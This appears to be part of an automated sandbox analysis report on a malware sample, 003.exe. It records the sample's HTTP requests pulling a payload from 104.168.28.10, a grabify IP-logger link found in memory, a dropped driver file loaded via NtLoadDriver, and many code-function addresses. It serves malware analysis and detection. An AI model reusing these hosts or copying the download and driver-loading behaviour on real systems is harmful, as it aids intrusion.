Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=2490368-2752511User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=3014656-3276799User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=3276800-3801087User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=3801088-4325375User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=4325376-4587519User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=4587520-4849663User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=4849664-5111807User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=5111808-5606383User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /

Source: global traffic

DNS traffic detected: DNS query: c.pki.goog

Source: 003.exe, 00000000.00000002.1389049871.0000000002760000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1388764650.0000000002413000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1
Source: 003.exe, 00000000.00000003.1360776776.0000000002787000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d17
Source: 003.exe, 00000000.00000003.1360776776.0000000002787000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d18
Source: 003.exe, 00000000.00000003.1360776776.0000000002787000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1;
Source: 003.exe, 00000000.00000003.1360776776.0000000002787000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1C
Source: 003.exe, 00000000.00000002.1388764650.0000000002413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1GPROFILE
Source: 003.exe, 00000000.00000003.1360776776.0000000002787000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1I
Source: 003.exe, 00000000.00000003.1360776776.0000000002787000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1N
Source: 003.exe, 00000000.00000003.1360776776.0000000002787000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1Z
Source: 003.exe, 00000000.00000003.1360776776.0000000002787000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1_
Source: 003.exe, 00000000.00000003.1360776776.0000000002787000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1b
Source: 003.exe, 00000000.00000003.1360776776.0000000002787000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1362681296.000000000278F000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1389485169.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1376588935.0000000002790000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1360928722.000000000278C000.00000004.00000020.00020000.00000000.sdmp, 003.exe, 00000000.00000003.1365190818.0000000002790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1d
Source: powershell.exe, 00000004.00000002.1561434354.000001D5DBF74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: powershell.exe, 00000004.00000002.1561434354.000001D5DBF74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micft.cMicRosof
Source: 003.exe, 00000000.00000003.1382744876.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp, y5VWvTdZ_8184.sys.0.dr	String found in binary or memory: http://crl.thawte.com/ThawtePCA.crl0
Source: 003.exe, 00000000.00000003.1382744876.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp, y5VWvTdZ_8184.sys.0.dr	String found in binary or memory: http://cs-g2-crl.thawte.com/ThawteCSG2.crl0
Source: powershell.exe, 00000001.00000002.1475036298.00000275B3695000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1550675976.000001D5D3735000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: 003.exe, 00000000.00000003.1382744876.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp, y5VWvTdZ_8184.sys.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 00000004.00000002.1496421207.000001D5C38E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1460697866.00000275A3848000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1496421207.000001D5C38E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000001.00000002.1460697866.00000275A3621000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1496421207.000001D5C36C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.1460697866.00000275A3848000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1496421207.000001D5C38E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000004.00000002.1496421207.000001D5C38E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.1485692820.00000275BBD72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: powershell.exe, 00000001.00000002.1460697866.00000275A3621000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1496421207.000001D5C36C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.1550675976.000001D5D3735000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1550675976.000001D5D3735000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1550675976.000001D5D3735000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: 003.exe, 003.exe, 00000000.00000002.1388228893.0000000000780000.00000040.00000001.00020000.00000000.sdmp, 003.exe, 00000000.00000002.1390481418.0000000140010000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html
Source: 003.exe	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html#
Source: powershell.exe, 00000004.00000002.1496421207.000001D5C38E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: 003.exe, 00000000.00000002.1389721189.00000000027BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grabify.link/U7WLGD
Source: 003.exe, 00000000.00000002.1389721189.00000000027BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grabify.link/U7WLGD66
Source: powershell.exe, 00000001.00000002.1475036298.00000275B3695000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1550675976.000001D5D3735000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: C:\Users\user\Desktop\003.exe

Code function: 0_2_00785D7C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,GetModuleHandleA,GetProcAddress,RegOpenKeyA,wsprintfA,RegCreateKeyA,RegSetValueExA,RegSetValueExA,RegSetValueExA,wsprintfA,RegSetValueExA,MultiByteToWideChar,wsprintfW,NtLoadDriver,RegCloseKey,RegCloseKey,

0_2_00785D7C

Source: C:\Users\user\Desktop\003.exe

0_2_00785D7C

Source: C:\Users\user\Desktop\003.exe

File created: C:\Windows\Temp\y5VWvTdZ_8184.sys

Jump to behavior

Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00782738	0_2_00782738
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00785D7C	0_2_00785D7C
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007C7074	0_2_007C7074
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007CC06C	0_2_007CC06C
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0079104C	0_2_0079104C
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008CB0B1	0_2_008CB0B1
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008F10B2	0_2_008F10B2
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008810D0	0_2_008810D0
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007D3020	0_2_007D3020
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008F002D	0_2_008F002D
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007F00D8	0_2_007F00D8
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008A9020	0_2_008A9020
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007820C0	0_2_007820C0
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008CD040	0_2_008CD040
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007D6170	0_2_007D6170
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008D919B	0_2_008D919B
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008FA196	0_2_008FA196
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0079D148	0_2_0079D148
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008EC1D4	0_2_008EC1D4
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007C2118	0_2_007C2118
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008BB1F2	0_2_008BB1F2
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007D11F0	0_2_007D11F0
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008B611E	0_2_008B611E
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008DC117	0_2_008DC117
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00891113	0_2_00891113
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0087C118	0_2_0087C118
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0079C1D0	0_2_0079C1D0
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008CC125	0_2_008CC125
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007811CC	0_2_007811CC
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008D613B	0_2_008D613B
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007F2198	0_2_007F2198
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008BB294	0_2_008BB294
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007B923C	0_2_007B923C
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0087A2CC	0_2_0087A2CC
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007DE224	0_2_007DE224
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0087C2DB	0_2_0087C2DB
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008BF2F0	0_2_008BF2F0
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007F22DC	0_2_007F22DC
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007F42D8	0_2_007F42D8
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007D92B8	0_2_007D92B8
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008DA252	0_2_008DA252
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007CD294	0_2_007CD294
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0087538A	0_2_0087538A
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007FA358	0_2_007FA358
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008D43B5	0_2_008D43B5
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008BE3D5	0_2_008BE3D5
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0085F314	0_2_0085F314
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0088A32A	0_2_0088A32A
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007DE39C	0_2_007DE39C
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007C5398	0_2_007C5398
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008DF377	0_2_008DF377
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008934AD	0_2_008934AD
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008804AC	0_2_008804AC
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007CF458	0_2_007CF458
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008DD4DD	0_2_008DD4DD
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0088F4FA	0_2_0088F4FA
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008614F1	0_2_008614F1
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00781400	0_2_00781400
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007DE4F8	0_2_007DE4F8
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007AB4FC	0_2_007AB4FC
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008F544E	0_2_008F544E
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007F84BC	0_2_007F84BC
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007994A4	0_2_007994A4
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008F747D	0_2_008F747D
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0089047E	0_2_0089047E
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007C8570	0_2_007C8570
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008A55AE	0_2_008A55AE
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008A65AD	0_2_008A65AD
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008955BB	0_2_008955BB
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008EC5C7	0_2_008EC5C7
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008F55E2	0_2_008F55E2
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008965FB	0_2_008965FB
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007A35F4	0_2_007A35F4
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007C45E0	0_2_007C45E0
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008B752C	0_2_008B752C
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008FE544	0_2_008FE544
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0085C548	0_2_0085C548
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007F35B0	0_2_007F35B0
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008696B1	0_2_008696B1
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008EE6CB	0_2_008EE6CB
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0086F6ED	0_2_0086F6ED
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008B86E4	0_2_008B86E4
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008A16FA	0_2_008A16FA
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008B6606	0_2_008B6606
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0086B628	0_2_0086B628
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007E46B4	0_2_007E46B4
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007F26A0	0_2_007F26A0
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007FC6A0	0_2_007FC6A0
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0086966A	0_2_0086966A
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008FA676	0_2_008FA676
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007B876C	0_2_007B876C
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0085E713	0_2_0085E713
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007D27B4	0_2_007D27B4
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007D178C	0_2_007D178C
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007F6878	0_2_007F6878
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007AF870	0_2_007AF870
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007F9870	0_2_007F9870
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007E284C	0_2_007E284C
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007E7834	0_2_007E7834
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0089C8DB	0_2_0089C8DB
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0087B8DE	0_2_0087B8DE
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007F2820	0_2_007F2820
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007ED80C	0_2_007ED80C
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007818EC	0_2_007818EC
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007A68C4	0_2_007A68C4
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007C1940	0_2_007C1940
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008C89CB	0_2_008C89CB
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007A7918	0_2_007A7918
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0088D90D	0_2_0088D90D
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00861918	0_2_00861918
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007F3984	0_2_007F3984
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007F1A74	0_2_007F1A74
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0078BA60	0_2_0078BA60
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007B8A64	0_2_007B8A64
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007F5A58	0_2_007F5A58
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008C9AAB	0_2_008C9AAB
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007E7A50	0_2_007E7A50
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00862AEB	0_2_00862AEB
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007C1AF8	0_2_007C1AF8
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007F0AF4	0_2_007F0AF4
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00871A11	0_2_00871A11
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00879A44	0_2_00879A44
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007B6ABC	0_2_007B6ABC
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00795AB0	0_2_00795AB0
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007C3AB0	0_2_007C3AB0
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008CBA76	0_2_008CBA76
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00872B91	0_2_00872B91
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0085FBB0	0_2_0085FBB0
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008BFBB3	0_2_008BFBB3
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00895BB7	0_2_00895BB7
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007FDB30	0_2_007FDB30
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00873BF1	0_2_00873BF1
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00789BF4	0_2_00789BF4
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00889B2E	0_2_00889B2E
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0088FB5C	0_2_0088FB5C
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007E8C78	0_2_007E8C78
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008E5CDB	0_2_008E5CDB
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007DAC08	0_2_007DAC08
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007D1CF0	0_2_007D1CF0
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008E4C3C	0_2_008E4C3C
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007D2CC8	0_2_007D2CC8
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007F8CBC	0_2_007F8CBC
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007E7CB8	0_2_007E7CB8
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007EDCAC	0_2_007EDCAC
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008B4C58	0_2_008B4C58
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008D4D8E	0_2_008D4D8E
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008FDDBB	0_2_008FDDBB
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008F7D0B	0_2_008F7D0B
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00897D01	0_2_00897D01
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0089CD5D	0_2_0089CD5D
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0078ED88	0_2_0078ED88
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0086DD7E	0_2_0086DD7E
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007F7D80	0_2_007F7D80
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007B5D84	0_2_007B5D84
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008B1ECB	0_2_008B1ECB
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008B7EC7	0_2_008B7EC7
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008A6EC4	0_2_008A6EC4
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0088BED0	0_2_0088BED0
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007ECEF4	0_2_007ECEF4
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008BDE1F	0_2_008BDE1F
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00788EE4	0_2_00788EE4
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007E2EDC	0_2_007E2EDC
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007B2EAC	0_2_007B2EAC
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00880E66	0_2_00880E66
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00784E80	0_2_00784E80
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00796F58	0_2_00796F58
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007A1F50	0_2_007A1F50
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_008A7FDD	0_2_008A7FDD
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0079EF08	0_2_0079EF08
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007F9FF4	0_2_007F9FF4
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00870F3C	0_2_00870F3C
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007FCF9C	0_2_007FCF9C
